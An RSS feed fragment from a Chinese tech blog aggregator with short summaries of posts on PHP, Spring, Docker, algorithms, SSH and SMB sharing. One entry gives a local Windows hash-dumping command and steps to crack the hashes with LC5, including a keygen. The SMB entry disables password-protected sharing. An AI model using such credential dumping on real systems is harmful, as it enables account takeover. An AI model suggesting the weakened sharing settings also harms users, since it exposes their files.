      <pubDate>Tue, 09 Mar 2021 22:13:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c27c4833881ac55fd7612ff0e4a36675/</guid>
      <description>开启SMB协议 Win10 控制面板 - 程序和功能 - 启用或关闭Windows功能 - 勾选SMB选项 - 确定并重启电脑&#xA;启用不安全的来宾登陆 运行(Win+R) - 输入gpedit.msc - 确定 - 打开修改本地组策略编辑器&#xA;计算机配置 - 管理模板 - 网络 - Lanman工作站 - 启用不安全的来宾登陆 - 已启用 - 确定&#xA;关闭密码保护共享 控制面板 - 网络和共享中心 - 高级共享设置 - 无密码保护的共享&#xA;共享文件夹 单击右键 - 属性 - 共享 - 共享 - Everyone - 添加 - 读取/写入 - 共享 - 完成&#xA;Kodi添加SMB视频源 Kodi - 视频 - 文件 - 添加视频 - 浏览 - windows网络 (SMB) - 找到共享的文件夹</description>
    </item>
    <item>
      <title>ubuntu 18.04安装php 7,如何在Ubuntu 18.04和16.04上安装PHP（7.3,7.2和7.0）？</title>
      <link>https://bchobby.github.io/posts/f87a40cd6d2ff718db1726d4ce3d548b/</link>
      <pubDate>Tue, 09 Mar 2021 21:30:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f87a40cd6d2ff718db1726d4ce3d548b/</guid>
      <description>PHP 7.3是PHP最新的稳定版本，如果你想安装特定版本的PHP，那么本文将对你有所帮助。本篇文章就将给大家介绍如何使用PPA在Ubuntu 18.04、16.04上安装PHP 7.3、7.2、7.1和PHP 7.0。(PPA全称Personal Package Archives即个人软件包文档)&#xA;你可以在系统上安装多个PHP版本，并在它们之间切换PHP版本。此外，还可以配置Apache VirtualHosts来使用不同的PHP版本。&#xA;在Ubuntu上安装PHP 7.3&#xA;使用以下命令集在Ubuntu系统中启用PPA for PHP 7.3并安装它。$ sudo apt-get install python-software-properties&#xA;$ sudo add-apt-repository ppa:ondrej/php&#xA;$ sudo apt-get update&#xA;$ sudo apt-get install -y php7.3&#xA;现在使用以下命令检查系统上已安装的php版本。$ php -v&#xA;PHP 7.3.0-1+ubuntu18.04.1+deb.sury.org+1 (cli) (built: Dec 6 2018 20:24:55) ( NTS )&#xA;Copyright (c) 1997-2018 The PHP Group&#xA;Zend Engine v3.3.0-dev, Copyright (c) 1998-2018 Zend Technologies&#xA;with Zend OPcache v7.3.0-1+ubuntu18.04.1+deb.sury.org+1, Copyright (c) 1999-2018, by Zend Technologies</description>
    </item>
    <item>
      <title>Web架构笔记之基础环境搭建</title>
      <link>https://bchobby.github.io/posts/2c2615e0b8267f6bf064fe74da46270e/</link>
      <pubDate>Tue, 09 Mar 2021 19:27:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c2615e0b8267f6bf064fe74da46270e/</guid>
      <description>第一章 基础环境搭建 实验环境&#xA;工具目标靶机 准备虚拟机 Kali Linux Kali Linux 是渗透测试安全工具的集合，集成了市面上常用的安全工具；基于Debian Linux 发行版进行封装的；是每个安全从业者必备武器之一。&#xA;Kali Linux 的获取 可以下载ISO镜像 然后通过ISO 镜像安装，安装过程比较耗时。也可以直接下载虚拟机版本，解压之后进入文件夹直接打开.vmx 文件，即可打开虚拟机。（建议）直接打开ova 文件，导入Kali 虚拟机。 Kali 的账密 root 用户是Linux 系统的最高权限用户。&#xA;2019 年（包含）之前 root:toor 2020 年之后 kali:kali 额外工具 NessusOpenVASAWVSvulhub WINDOWS 的准备 Windows 2008 R2 作为目标靶场。&#xA;系统信息系统详情OS 名称Microsoft Windows Server 2008 R2 EnterpriseOS 版本6.1.7600 暂缺 Build 7600 简要配置&#xA;隐藏已知文件类型的扩展名更改盘符 Windows 2003 作为目标靶场。&#xA;系统信息系统详情OS 名称Microsoft® Windows® Server 2003, Enterprise EditionOS 版本5.2.3790 Service Pack 2 Build 3790 Windows 7 工具集合。</description>
    </item>
    <item>
      <title>Mac中虚拟机网络设置</title>
      <link>https://bchobby.github.io/posts/0076bc0ace559c5a15ea134f1bb7d484/</link>
      <pubDate>Tue, 09 Mar 2021 19:23:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0076bc0ace559c5a15ea134f1bb7d484/</guid>
      <description>虚拟机网络设置 由于之前搭建hadoop的虚拟机集群换了无限网络 ，导致虚拟机与mac连接不上，需要更改相关ip即可&#xA;1. 查看MAC网络参数 这里的参数是可设置的ip&#xA;2.然后查看网络设置 3.将参数一一对应填写到centos文件中 4.最后重启服务 service network restart</description>
    </item>
    <item>
      <title>spring boot 2.4.3 下的spring cloud 2020.0.1 之 注册中心Eureka</title>
      <link>https://bchobby.github.io/posts/20d491c6d6b85e318b47f37b6ce50e07/</link>
      <pubDate>Tue, 09 Mar 2021 16:49:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20d491c6d6b85e318b47f37b6ce50e07/</guid>
      <description>version spring-boot-starter-parent 2.4.3spring-cloud-dependencies 2020.0.1 spring boot 和spring cloud 版本关系依赖 &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.4.3&amp;lt;/version&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;dependencyManagement&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-dependencies&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spring-cloud.version}&amp;lt;/version&amp;gt; &amp;lt;type&amp;gt;pom&amp;lt;/type&amp;gt; &amp;lt;scope&amp;gt;import&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;/dependencyManagement&amp;gt; 注册中心Eureka 的依赖 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-netflix-eureka-server&amp;lt;/artifactId&amp;gt; &amp;lt;exclusions&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-tomcat&amp;lt;/artifactId&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;/exclusions&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-jetty&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-actuator&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--项目启动会给出黄色警告,建议使用caffeine--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.github.ben-manes.caffeine&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;caffeine&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${caffeine.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 打包的build &amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;!--spring boot 项目打包--&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-maven-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;/plugins&amp;gt; &amp;lt;/build&amp;gt; 启动类 和旧的无差别 import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.</description>
    </item>
    <item>
      <title>invalid privatekey问题</title>
      <link>https://bchobby.github.io/posts/2aeaee364c6027a6b99107e81ddf3ce0/</link>
      <pubDate>Tue, 09 Mar 2021 16:40:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2aeaee364c6027a6b99107e81ddf3ce0/</guid>
      <description>jenkins com.jcraft.jsch.JSchException: invalid privatekey&#xA;原因：&#xA;默认情况下，最新版本的OpenSSH（7.8及更高版本）会以新的OpenSSH格式生成密钥，其开头为：&#xA;-----BEGIN OPENSSH PRIVATE KEY-----&#xA;JSch不支持此密钥格式。&#xA;解决：&#xA;您可以使用ssh-keygen将密钥转换为经典的OpenSSH格式：&#xA;ssh-keygen -p -f file -m pem -P passphrase -N passphrase （如果密钥未使用密码加密，请使用&#34;&#34;代替passphrase）&#xA;ssh-keygen -p -f file -m pem -P “” -N “” 对于Windows用户：请注意，ssh-keygen.exe它现在已内置在Windows 10中。对于较旧版本的Windows ，可以从Microsoft Win32-OpenSSH项目下载</description>
    </item>
    <item>
      <title>Vue——标签页名称修改（设置页面标题）</title>
      <link>https://bchobby.github.io/posts/5918f1152bfc4cdc58f82c18591444db/</link>
      <pubDate>Tue, 09 Mar 2021 15:02:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5918f1152bfc4cdc58f82c18591444db/</guid>
      <description> 1.修改router中index.js文件中每个路由加上meta:{ title: ‘首页’}&#xA;const router = new Router({ mode: &#39;&#39;, routes: [ { path: &#39;/&#39;, name: &#39;&#39;, component: , meta:{ // title: &#39;首页&#39; } } ] }) 2.main.js中加上&#xA;import router from &#39;./router&#39; router.beforeEach((to, from, next) =&amp;gt; { /* 路由发生变化修改页面title */ if (to.meta.title) { document.title = to.meta.title } next() }) </description>
    </item>
    <item>
      <title>Spring的9处调用后置处理器</title>
      <link>https://bchobby.github.io/posts/b4b627c143393d81fb6848aec5bd653f/</link>
      <pubDate>Tue, 09 Mar 2021 13:12:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4b627c143393d81fb6848aec5bd653f/</guid>
      <description>在Sping的整个生命周期中，有9个地方调用后置处理器。这些后置处理器是spring实现自定义功能或者扩展spring的核心所在&#xA;一、实例化前 该方法属于InstantiationAwareBeanPostProcessor后置处理器&#xA;public interface InstantiationAwareBeanPostProcessor extends BeanPostProcessor { @Nullable default Object postProcessBeforeInstantiation(Class&amp;lt;?&amp;gt; beanClass, String beanName) throws BeansException { return null; } default boolean postProcessAfterInstantiation(Object bean, String beanName) throws BeansException { return true; } @Nullable default PropertyValues postProcessProperties(PropertyValues pvs, Object bean, String beanName) throws BeansException { return null; } @Deprecated @Nullable default PropertyValues postProcessPropertyValues( PropertyValues pvs, PropertyDescriptor[] pds, Object bean, String beanName) throws BeansException { return pvs; } } 该方法的意思其实也体现到名字上了，就是在实例化之前做些什么。</description>
    </item>
    <item>
      <title>记录一下百度网盘双击无法正常启动以及解决办法</title>
      <link>https://bchobby.github.io/posts/968cffa7858e0df0edd580307b646f76/</link>
      <pubDate>Tue, 09 Mar 2021 11:52:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/968cffa7858e0df0edd580307b646f76/</guid>
      <description>记录一下百度网盘双击无法正常启动的解决办法 所遇问题： ① 设置自动登录百度网盘，登陆时提示密码输入错误…&#xA;②重新正确输入登录密码，提示”由于系统限制了文件目录的读写权限,程序将会退出…“&#xA;解决办法： 右击百度网盘——&amp;gt; 找到并点击“属性”选项 ——&amp;gt;选择“兼容性”——&amp;gt;勾选“以管理员身份运行此程序”——&amp;gt;点击应用或者点击确定即可。</description>
    </item>
    <item>
      <title>yum 阿里云源</title>
      <link>https://bchobby.github.io/posts/7bbdef8284f4ddd049c448e47f1856f3/</link>
      <pubDate>Tue, 09 Mar 2021 10:56:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7bbdef8284f4ddd049c448e47f1856f3/</guid>
      <description>[root@localhost home]# cp /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.bak [root@localhost home]# vim /etc/yum.repos.d/CentOS-Base.repo [root@localhost home]# yum clean all [root@localhost home]# yum makecache [base] name=CentOS-6.10 - Base - mirrors.aliyun.com failovermethod=priority baseurl=http://mirrors.aliyun.com/centos-vault/6.10/os/$basearch/ gpgcheck=1 gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6 [updates] name=CentOS-6.10 - Updates - mirrors.aliyun.com failovermethod=priority baseurl=http://mirrors.aliyun.com/centos-vault/6.10/updates/$basearch/ gpgcheck=1 gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6 [extras] name=CentOS-6.10 - Extras - mirrors.aliyun.com failovermethod=priority baseurl=http://mirrors.aliyun.com/centos-vault/6.10/extras/$basearch/ gpgcheck=1 gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6 [centosplus] name=CentOS-6.10 - Plus - mirrors.aliyun.com failovermethod=priority baseurl=http://mirrors.aliyun.com/centos-vault/6.10/centosplus/$basearch/ gpgcheck=1 enabled=0 gpgkey=http://mirrors.aliyun.com/centos-vault/RPM-GPG-KEY-CentOS-6 [contrib] name=CentOS-6.10 - Contrib - mirrors.aliyun.com failovermethod=priority baseurl=http://mirrors.aliyun.com/centos-vault/6.10/contrib/$basearch/ gpgcheck=1 enabled=0 gpgkey=http://mirrors.</description>
    </item>
    <item>
      <title>bigdecimal保留两位小数</title>
      <link>https://bchobby.github.io/posts/b7bf24449957e21123320440105b6363/</link>
      <pubDate>Tue, 09 Mar 2021 09:48:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7bf24449957e21123320440105b6363/</guid>
      <description>bigdecimal保留两位小数&#xA;public class test1_format { public static void main(String[] args) { BigDecimal decimal = new BigDecimal(&#34;1.12345&#34;); System.out.println(decimal); BigDecimal setScale = decimal.setScale(4,BigDecimal.ROUND_HALF_DOWN); System.out.println(setScale); BigDecimal setScale1 = decimal.setScale(4,BigDecimal.ROUND_HALF_UP); System.out.println(setScale1); } } 参数定义&#xA;ROUND_CEILING&#xA;Rounding mode to round towards positive infinity.&#xA;向正无穷方向舍入&#xA;ROUND_DOWN&#xA;Rounding mode to round towards zero.&#xA;向零方向舍入&#xA;ROUND_FLOOR&#xA;Rounding mode to round towards negative infinity.&#xA;向负无穷方向舍入&#xA;ROUND_HALF_DOWN&#xA;Rounding mode to round towards “nearest neighbor” unless both neighbors are equidistant, in which case round down.</description>
    </item>
    <item>
      <title>Docker安装mysql5.7详细教程</title>
      <link>https://bchobby.github.io/posts/26eb7ac3d3b9364aef2085050f49385e/</link>
      <pubDate>Mon, 08 Mar 2021 23:12:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26eb7ac3d3b9364aef2085050f49385e/</guid>
      <description>Docker安装mysql5.7详细教程 提示：还没有在虚拟机中安装docker的同学们，可以先查看我的这份博客啊：Centos7安装docker，配置阿里云镜像加速.&#xA;文章目录 Docker安装mysql5.7详细教程一、使用命令拉取mysql二、检查下载的mysql镜像三、创建root用户实例并启动四、远程连接mysql数据库五、进入mysql操作控制台六、查看mysql挂载的文件夹七、修改mysql默认配置总结 一、使用命令拉取mysql 1、拉取mysql的命令为 docker pull mysql ，但是这样的话，docker会自动帮你拉取最新的版本的mysql，一般最好就是在mysql后面指定版本号，才能拉取到想要的版本。我这里选择拉取mysql5.7，命令如下：&#xA;docker pull mysql:5.7 2、如果提示权限不足的话，需要使用管理员的方式执行，命令如下：&#xA;sudo docker pull mysql:5.7 3、出现下面的信息则代表镜像下载完成。&#xA;二、检查下载的mysql镜像 我们可以使用如下命令检查当前下载好的镜像：&#xA;sudo docker images 三、创建root用户实例并启动 我们需要执行一下命令去创建用户实例，配置用户密码。&#xA;docker run -p 3306:3306 --name mysql \ -v /mydata/mysql/log:/var/log/mysql \ -v /mydata/mysql/data:/var/lib/mysql \ -v /mydata/mysql/conf:/etc/mysql \ -e MYSQL_ROOT_PASSWORD=123456 \ -d mysql:5.7 参数说明：&#xA;-p 3306:3306 --name mysql \&#x9;# 将容器的3306端口映射到主机的3306端口，&#39;\&#39;指换行符，下同 -v /mydata/mysql/log:/var/log/mysql \&#x9;# 将配置文件夹挂载到主机,冒号左边为Linux的目录结构，右边为docker内部的 -v /mydata/mysql/data:/var/lib/mysql \&#x9;# 将日志文件夹挂戟到主机 -v /mydata/mysql/conf:/etc/mysql \&#x9;# 将配置文件夹挂载到主机 -e MYSQL_ROOT_PASSWORD=123456 \&#x9;# 初始化root用户的密码为：123456 -d mysql:5.</description>
    </item>
    <item>
      <title>快速排序【复习】</title>
      <link>https://bchobby.github.io/posts/12c625bf26c27d52d5893e7e7c774df7/</link>
      <pubDate>Mon, 08 Mar 2021 20:49:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12c625bf26c27d52d5893e7e7c774df7/</guid>
      <description> 快速排序 基本思想 任取两个元素为中心所有比它小的元素一律前放，比它大的元素一律后放，形成左右两个子表对各子表重新选择中心元素并依此规则调整直到每个子表的元素只剩一个 通过一趟排序，将待排序记录分割成独立的两个部分，其中一个部分记录的关键字均比另一部分记录的关键字小，则可分割成对这两部分记录进行排序，以达到整个序列有序&#xA;具体实现 选定一个中间数作为参考，所有元素与之比较，小的调到其左边，大的调到其右边&#xA;​ （枢轴）中间数：可以是第一个数、最后一个数、最中间的数、任选一个数等。&#xA;① 每一趟的子表的形成是采用产品从两头向中间交替式逼近法&#xA;② 由于每趟中对各子表的操作都相似，可采用递归算法&#xA;代码实现 void quickSort(int *f, int low, int high) { if (low &amp;lt; high) { int i = low, j = high, x = f[low]; // 临时变量，一开始的高低表的域暂时不能动 while (i &amp;lt; j) { while (i &amp;lt; j &amp;amp;&amp;amp; f[j] &amp;gt;= x) j--; // 最先从高往低查找，查找到比当前 x 小的元素，将这个元素赋值到低位指针 if (i &amp;lt; j) f[i++] = f[j]; // 赋值 while (i &amp;lt; j &amp;amp;&amp;amp; f[i] &amp;lt;= x) i++; // 从低往高查找，查找到比当前 x 大的元素，将这个元素赋值到高位指针 if (i &amp;lt; j) f[j--] = f[i]; // 赋值 } f[i] = x; // 将x填坑 quickSort(f, low, i - 1); // 从低表排序 quickSort(f, i + 1, high); // 从高表排序 } } </description>
    </item>
    <item>
      <title>windows密码获取 -- LC5暴力破解Hash密码</title>
      <link>https://bchobby.github.io/posts/59b91c98406f23042f6124e5ae62c4ff/</link>
      <pubDate>Mon, 08 Mar 2021 20:33:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59b91c98406f23042f6124e5ae62c4ff/</guid>
      <description>​错，可以改，那，错过呢。。。&#xA;---- 网易云热评&#xA;一、首先用QuarksPwDump导出hash值并存储到1.txt&#xA;quarkspwdump --dump-hash-local --output 1.txt&#xA;二、下载并安装LC5并注册&#xA;1、下载地址：回复&#xA;2、双击lc5setup一路下一步，&#xA;3、将hashgen和lc5替换了原文件&#xA;4、双击lc5，并打开注册机，点击administrator&#xA;三、使用方法&#xA;1、点击会话，导入1.txt&#xA;2、点击运行符号,实现破解&#xA;禁止非法，后果自负&#xA;欢迎关注公众号：web安全工具库</description>
    </item>
    <item>
      <title>Mac下根据端口号查询进程号Pid</title>
      <link>https://bchobby.github.io/posts/2ea31b7ea99b0e9f75b54a760ab51378/</link>
      <pubDate>Mon, 08 Mar 2021 11:54:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ea31b7ea99b0e9f75b54a760ab51378/</guid>
      <description> Mac下根据端口号查询进程号Pid #!/bin/bash #use sh kill.sh 8080 echo &#34;$0&#34; port=&#34;$1&#34; echo $port ##根据端口获得进程号 lsof -i :$port | grep -i LISTEN | awk &#39;{print $2}&#39; # ##组合获得该进程的执行命令 lsof -i :$port | grep -i LISTEN | awk &#39;{print $2}&#39; | xargs -I {} ps -o command -p {} | tail -n +2 # ##管道给kill掉该进程 lsof -i :$port | grep -i LISTEN | awk &#39;{print $2}&#39; | xargs -I {} kill -15 {} </description>
    </item>
    <item>
      <title>ssh免登录跳转到另一台服务器上</title>
      <link>https://bchobby.github.io/posts/124e83de5dc556bfeb0d3fc7d917d1f5/</link>
      <pubDate>Mon, 08 Mar 2021 10:53:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/124e83de5dc556bfeb0d3fc7d917d1f5/</guid>
      <description> 现在有 A（10.16.12.220）和B（10.16.12.150）两台服务器，为了使A服务器通过SSH连接B服务器时，免密登录，做以下操作。&#xA;1、首先登录A服务器，查看是否已经生成了 ssh公钥私钥;&#xA;cat ~/.ssh/id_rsa.pub 2、如果不存在，则执行命令生成 （-P 无需密码）&#xA;ssh-keygen -t rsa -P &#39;&#39; 3、用 ssh-copy-id 命令将公钥复制或上传到远程主机，并将身份标识文件追加到B服务器的 /home/用户/.ssh/authorized_keys 中：&#xA;ssh-copy-id -i ~/.ssh/id_rsa.pub root@10.16.12.150 4、无密码验证登录&#xA;ssh root@10.16.12.150 </description>
    </item>
    <item>
      <title>爬虫工程师的日常</title>
      <link>https://bchobby.github.io/posts/c492dac156edc2ffd9ea083683f4e8bf/</link>
      <pubDate>Mon, 08 Mar 2021 10:28:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c492dac156edc2ffd9ea083683f4e8bf/</guid>
      <description>很多读者可能都不太清楚爬虫是干什么的，今天我就来跟大家科普下爬虫工程师平时的工作都是怎样的。&#xA;说起爬虫，大家可能不太理解它的概念。但给大家举个通俗易懂的例子，像百度、谷歌这些大型搜索引擎，你就可以把它们理解为一个巨大的爬虫，它们无时无刻不在抓取着网上的所有信息，然后展示给用户看。这种称为通用网络爬虫。而爬虫工程师更多干的是聚焦网络爬虫，是专门根据业务针对某些网站而制定的特定爬虫程序，只需要获取目标网站的数据。&#xA;爬虫又分为增量式爬虫和全量式爬虫。全量式爬虫又称为一次性爬虫，就是把该网站的数据一次性全部抓取下来，后面就不需要再管该网站了，这种爬虫任务通常比较简单。而增量式爬虫不止这次要把网站数据抓取下来，而且之后还要检测该网站有无数据更新，如果有更新的话还需要把更新后的数据再抓回到数据库里。所以增量式爬虫对于爬虫程序的健壮性要求会更高些。&#xA;爬虫工程师的目的就是获取所需的数据。而主要难点就是获取数据的过程中需要跟网站的各种反爬措施做斗争。对于简单的网站，可能只是验证一下请求头或者限制ip访问的频率，这两种可以通过构造请求头和购买ip代理来解决。再复杂点就是url中会带些关键参数，而这些关键参数需要通过js逆向来破解出来参数是如何生成的，然后自己写程序来构造参数。更复杂的就是破解各类验证码，破解验证码如果自己不怕麻烦而且懂深度学习相关的知识的话，可以自己搭建相应模型训练来进行破解。如果想省事又效率高的话就可以直接通过网上的打码平台来辅助工作。&#xA;随着移动化时代的到来，越来越多的数据逐渐从PC端转移到了app端，所以爬虫工程师如果想更精进的话，也必须懂得app端数据的抓取。对于简单的app数据抓取，可以通过charles、fiddler等抓包工具来抓包分析，只要找到数据所在的地址，并且构造合适的请求头便可以得到。再复杂点的有些app数据需要破解关键参数，而这些关键参数便需要通过app逆向来得到，需要用到AJAX、frida等逆向框架。&#xA;另外如果大家不想破解网站加密而且对爬虫效率没有那么高要求的话，可以试试自动化模拟工具。所谓自动化模拟，就是让爬虫完全像人一样在操作，可以实现所见即所得的效果，功能非常强大。像PC端可以用selenium，app端可以用airtest，这里我只是简单列举了两个工具，还有很多其它好用的工具，各位可以选择自己觉得顺手的使用。&#xA;最后和大家说下我平时接任务的流程，首先确定需求网站，然后确定需求的数据，并且判定该任务是属于全量式爬虫还是增量式爬虫。之后对需求网站进行反爬机制的探索，并且制定相应的反反爬措施。然后就开始搭建数据库并编写爬虫程序爬取数据入库。这只是简单的描述一下工作流程，当然具体到每一步的话，可不是那么简单的。&#xA;我原来是以抓取文本数据为主，现在由于公司以及业务的变更，目前的爬取领域扩展到了视频、音频、图片等多领域，要说难度的话，可能比原来的难度要稍微大一点，因为像视频音频这种文件不像文字可以直接存储到数据库，这些我还需要自己进行处理，然后存储到oss上。不过只要能解决网站的反爬措施，其余的都不困难。&#xA;在我看来，爬虫与反爬就是矛与盾的较量。究竟是矛能攻破盾，还是盾能抵御矛。也许爬虫工程师的乐趣就是在一次又一次的较量中得来的吧！</description>
    </item>
    <item>
      <title>java上传代码_java上传文件代码</title>
      <link>https://bchobby.github.io/posts/01233ad28fb553158808f462020ecf73/</link>
      <pubDate>Sun, 07 Mar 2021 21:59:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01233ad28fb553158808f462020ecf73/</guid>
      <description>java上传文件代码&#xA;关注:232 答案:5 mip版&#xA;解决时间 2021-02-04 09:24&#xA;提问者妳狠僤莼&#xA;2021-02-03 17:48&#xA;java上传文件代码&#xA;最佳答案&#xA;二级知识专家孤者何懼&#xA;2021-02-03 18:57&#xA;上传文件通常是先连接到远程服务器，之后将本地文件通过流的形式写入到远程文件中，实现文件的上传。&#xA;举例：&#xA;import hkrt.b2b.view.util.Log;&#xA;import hkrt.b2b.view.util.ViewUtil;&#xA;import java.io.ByteArrayInputStream;&#xA;import java.io.ByteArrayOutputStream;&#xA;import java.io.FileInputStream;&#xA;import java.io.FileOutputStream;&#xA;import java.io.InputStream;&#xA;import java.util.Arrays;&#xA;import javax.crypto.Cipher;&#xA;import javax.crypto.SecretKey;&#xA;import javax.crypto.spec.IvParameterSpec;&#xA;import javax.crypto.spec.SecretKeySpec;&#xA;import org.apache.commons.net.ftp.FTPClient;&#xA;import org.apache.commons.net.ftp.FTPFile;&#xA;public class EncodeAES {&#xA;public static String encodeAESFileUploadByFtp(String plainFilePath, String fileName, String date,String filepath) throws Exception {&#xA;FileInputStream fis = null;&#xA;ByteArrayOutputStream bos = null;</description>
    </item>
    <item>
      <title>哈夫曼树实现</title>
      <link>https://bchobby.github.io/posts/5d0a9114614e511aad056a6cc6d7be85/</link>
      <pubDate>Sun, 07 Mar 2021 20:13:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d0a9114614e511aad056a6cc6d7be85/</guid>
      <description>哈夫曼树的基本概念 路径：从树中结点到另一个结点之间的分支构成这两个结点间的路径&#xA;结点的路径长度：两结点间路径上的分支数&#xA;树的路径长度：从树根到每一个结点的路径长度之和。记作：TL&#xA;权：将树中结点赋给一个有着某种特殊意义的值，则这个数值称为该结点的权&#xA;结点的带权路径长度：从根结点出发到该节点之间的路径长度与该结点的权的乘积&#xA;树的带权路径长度：树中所有叶子结点的带权路径长度之和&#xA;哈夫曼树：最优树（带权路径长度（WPL）最短的树）&#xA;哈夫曼树的特点 满二叉树不一定是哈夫曼树&#xA;哈夫曼树中权值越大的叶子离根越近&#xA;具有相同带权结点的哈夫曼树不唯一&#xA;哈夫曼树的一些知识点 包含n个叶子结点的哈夫曼树共有2n-1个结点哈夫曼树的结点的度为0和2，没有度为1的结点包含n棵树的森林要经过n-1次合并才能形成哈夫曼树，共产生n-1个新结点 哈夫曼树构造算法的实现 定义结构体 typedef struct{ int weight; int parent,lch,rch; }HTNode,*HuffmanTree; 算法实现 void Select(HuffmanTree &amp;amp;ht, int i, int &amp;amp;s1, int &amp;amp;s2) { int min = INT32_MAX; for (int j = 1; j &amp;lt;=i; ++j) { for (int k = 1; k &amp;lt;=i; ++k) { int temp = ht[j].weight + ht[k].weight; if (k != j &amp;amp;&amp;amp; ht[j].parent == 0 &amp;amp;&amp;amp; ht[k].</description>
    </item>
    <item>
      <title>ISE和ModelSim不能联合仿真的一种解决办法</title>
      <link>https://bchobby.github.io/posts/5134eb7955612a14203405ad8f47c641/</link>
      <pubDate>Sun, 07 Mar 2021 17:59:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5134eb7955612a14203405ad8f47c641/</guid>
      <description>近期学FPGA，准备联合仿真的时候发现ISE不能打开ModelSim进行仿真。碰到如下几个问题：&#xA;出现这个的原因是ISE中没有ModelSim的地址，解决方法在ERROR中红框部分也给出了，将ModelSim的地址引入即可&#xA;箭头位置将modelsim.exe的地址引入即可，别忘了点ok&#xA;还有一种问题：&#xA;解决方法：&#xA;在这里把ISE_DS\EDK的那个文件夹地址引进去，但前提是它的library你已经解析过了，解析过程如下：&#xA;打开后会有一个dos窗口全黑，另外弹出来一个类似于安装的窗口，里面不需要特殊操作，就按着提示一步步ok下去就行，最后finish后，包就被装到了EDK文件夹下，这样就可以解决那个大弹窗的问题。</description>
    </item>
    <item>
      <title>利用leapmotion实现抓取一个立方体</title>
      <link>https://bchobby.github.io/posts/a56f41e2b70dc88d5470d062511afd0d/</link>
      <pubDate>Sat, 06 Mar 2021 20:02:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a56f41e2b70dc88d5470d062511afd0d/</guid>
      <description>1.基础设置&#xA;2.拖进来LeapHandController&#xA;（显示为蓝色）&#xA;其中，Edit Time Pose选择的是不同的模式，是桌面模式还是VR模式。&#xA;3.拖进来HandModels&#xA;此部分为手势模型，为新建空物体，然后加上Hand Model Manager(系统文件）&#xA;其中LeapHand是设置的空物体，Capsule HandLeft为拖进来的Prefabs&#xA;4.Interaction Manager&#xA;删除RigidRoundHand_L和RigidRoundHand_R，换成了Interaction Hand(Left)和（Right）&#xA;5.在需要交互的物体上加上Rigidbody和Interaction Behaviour两个组件。</description>
    </item>
    <item>
      <title>一些常用的按位小技巧</title>
      <link>https://bchobby.github.io/posts/fda2be1d85c5489bb5195b80038d558e/</link>
      <pubDate>Sat, 06 Mar 2021 18:18:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fda2be1d85c5489bb5195b80038d558e/</guid>
